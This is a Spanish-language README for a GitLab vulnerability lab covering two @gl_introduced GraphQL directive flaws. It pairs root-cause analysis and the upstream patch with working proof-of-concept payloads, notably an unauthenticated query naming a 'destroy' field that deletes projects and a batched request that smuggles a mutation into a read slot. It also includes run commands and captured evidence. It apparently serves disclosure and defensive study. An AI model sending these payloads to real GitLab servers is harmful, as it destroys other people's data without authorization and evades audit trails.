
Proporciona exploits PoC y análisis de causa raíz de dos vulnerabilidades de la directiva `@gl_introduced` de GitLab GraphQL: ejecución de métodos no autenticada e intercambio de documentos por lotes, con parche upstream y evidencia en vivo.
@gl_introduced de GitLab GraphQLUn laboratorio de reproducción para dos errores relacionados en la funcionalidad de filtro de versiones de GraphQL de GitLab (la directiva @gl_introduced). Ambos residen en la misma área funcional, se corrigen con el mismo parche upstream y ambos permiten que una solicitud GraphQL llegue a rutas de código que nunca declaró:
destroy) en el modelo detrás de cualquier tipo GraphQL, con solo nombrar un campo que no existe y etiquetarlo con @gl_introduced.| Afectado | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Corregido | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Objetivo del laboratorio | gitlab/gitlab-ce:19.2.2-ce.0 (última compilación antes de la corrección) |
| Desencadenante | Directiva GraphQL @gl_introduced, sola o dentro de un lote |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Todo lo que está bajo src/ es código fuente upstream textual, nunca reimplementado: el cargador superpone src/vuln o src/patched sobre src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback permite que una consulta haga referencia a un campo que aún no existe en un tipo sin que la solicitud falle; está pensado para despliegues progresivos (rolling deploys), donde el esquema de un nodo antiguo aún no tiene un campo que un nodo más nuevo ya incluye. Su override de get_field comprueba si el campo solicitado falta y la solicitud está marcada con contain_future_fields y, si es así, devuelve un campo sintético en lugar de lanzar una excepción:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
El problema: este GraphQL::Schema::Field se construye sin método de resolución, sin clase de resolución y sin bloque. Entonces se aplica la resolución de campo predeterminada de graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym es el nombre del campo, en notación underscore; es decir, exactamente la cadena que el atacante puso en la consulta. Si el objeto detrás del tipo GraphQL (el modelo ActiveRecord) tiene, casualmente, un método público real de cero argumentos con ese nombre, graphql-ruby lo invoca y devuelve su resultado (coercionado al tipo). fallback_value: nil solo se aplica cuando el método realmente no existe; no hace nada para impedir que uno real se ejecute.
Por lo tanto: consulta cualquier tipo con un campo nombrado como un método destructivo real — destroy, por ejemplo — etiquétalo con @gl_introduced para que sobreviva hasta la ejecución, y el método se ejecuta.
IntroducedTracer implementa el resto de la funcionalidad de filtro de versiones a través de dos hooks de traza de graphql-ruby: parse (una vez por operación) y execute_query (una vez por operación). En la compilación vulnerable, almacena su estado por operación en variables de instancia simples en el objeto de traza:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
El problema: graphql-ruby comparte UNA instancia de traza entre todas las operaciones de una solicitud multiplexada, y las analiza todas antes de ejecutar cualquiera de ellas. Así, en un lote de dos operaciones:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 lleva un campo futuro @gl_introduced)Después del análisis, solo sobrevive el estado de la última operación. Luego se ejecuta:
execute_query(op1) → la marca es true, por lo que el documento de op1 se sobrescribe con op2_doc y se vuelve a preparar → la ranura de op1 ejecuta la operación de op2.op1 declaró una lectura; ejecuta la escritura de op2.
patch-19.2.2-to-19.2.4.diff cierra ambos:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Sin cabecera Authorization. Una operación, sin lote. destroy no es un campo real en Project; ni siquiera existe en el esquema, pero la directiva hace que FutureFieldFilter lo elimine antes de la validación estática y active contain_future_fields para la ejecución, donde get_field devuelve un campo sin resolver llamado destroy y graphql-ruby llama a project.public_send(:destroy).
Verificado en vivo (evidence/live_vuln_fallback_field.txt, reproducido tres veces contra tres proyectos desechables separados): enviado contra un proyecto público, la respuesta fue {"data":{"project":{"id":"...","destroy":true}}}. Una verificación REST autenticada posterior (GET /api/v4/projects/:id) devolvió 404: el proyecto había desaparecido. El registro de solicitudes de esa llamada muestra 9 escrituras síncronas en la base de datos y cero filas nuevas de AuditEvent: la llamada omite por completo Projects::DestroyService (y con él la pista de auditoría, los webhooks y las notificaciones); es una cascada ActiveRecord#destroy en bruto invocada directamente a través de la resolución de campos predeterminada de GraphQL.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Payload de Op2 — la directiva @gl_introduced solo tiene que estar sobre un campo real para que, en tiempo de análisis, FutureFieldFilter cambie contain_future_fields y active el intercambio:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
Verificado en vivo (evidence/live_vuln.txt): la ranura 1, que declaró query { currentUser { username } }, devuelve {"data":{"starProject":{"count":"0"}}} y el contador de estrellas del proyecto pasa de 1 → 0.
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
El script crea un proyecto público desechable a través de la API REST autenticada (solo configuración), envía una consulta GraphQL no autenticada que nombra un campo destroy etiquetado con @gl_introduced y luego vuelve a comprobar el proyecto mediante REST autenticado. Declara VULNERABLE si el proyecto ya no existe.
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
El script lee el estado inicial de estrellas, envía el lote de dos operaciones y declara VULNERABLE si la ranura 1, declarada como lectura, devuelve un payload starProject (y/o el contador de estrellas cambia).
Aísla Gitlab::Graphql::VersionFilter en una aplicación graphql-ruby diminuta para que el intercambio sea visible sin ruido de GitLab. Carga la fuente upstream real.
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
Ambos vectores están confirmados en vivo contra gitlab/gitlab-ce:19.2.2-ce.0. Tienen diferente exposición de autorización porque afectan a distintas capas de la pila de GitLab.
Sin token, sin agrupación, una sola consulta. La respuesta devuelve el resultado del método directamente ("destroy": true) y el registro subyacente en realidad se destruye; confirmado mediante REST autenticado (404) y mediante evidencia del lado del servidor (cero filas de AuditEvent, 9 escrituras síncronas en una sola solicitud), lo que significa que omite por completo el servicio de borrado normal de GitLab. Reproducido tres veces de forma independiente, contra tres proyectos desechables separados. Cualquier tipo GraphQL cuyo objeto subyacente exponga un método destructivo real de cero argumentos es candidato.
Con cualquier token que tenga alcance api, una operación que declaró una lectura ejecuta una escritura que nunca pidió (contador de estrellas 1 → 0, impulsado por una ranura de tipo query). Enviado sin token, el intercambio aún se activa: la ranura de lectura alcanza y resuelve starProject; pero toda mutación de GitLab hereda de Mutations::BaseMutation, cuyo control self.authorized? se ejecuta en tiempo de ejecución:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
Para una solicitud anónima, current_user es nil, y GlobalPolicy hace rule { anonymous }.policy { prevent :execute_graphql_mutation }. Un barrido de 10 disposiciones de lote (orden, directiva en campo / subcampo / fragmento en línea, lotes de 2 y 3 operaciones) sin autenticación: la ranura secuestrada choca con el control todas las veces y el contador de estrellas nunca cambia.
Este control es específico de las mutaciones — no tiene relación con 1a, que nunca toca Mutations::BaseMutation; el campo de respaldo se resuelve directamente contra el modelo como un campo normal de tipo query, sin ninguna comprobación de autorización en la ruta.
src/common/demo_app.rb no tiene capa de autorización en absoluto — su mutación solo escribe. Así que el PoC #3 demuestra el mecanismo de intercambio (una ranura de lectura que realiza una escritura) en un entorno aislado sin autenticación. GitLab real aplica el control execute_graphql_mutation que la demo omite — específicamente para 1b. En esta compilación estándar, una escritura impulsada por mutación sin credenciales no es alcanzable solo a través de 1b; es alcanzable a través de 1a, que no necesita ninguna mutación.
Actualiza a 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 o posterior. La corrección (ver el diff) hace dos cosas: future_field_fallback.rb le da al campo de respaldo un resolver explícito (Resolvers::NilResolver, que siempre devuelve nil) en lugar de depender de la resolución de método predeterminada de graphql-ruby, cerrando 1a; introduced_tracer.rb limita el estado por operación del tracer al documento propio de cada operación en lugar de una variable de instancia compartida, cerrando 1b.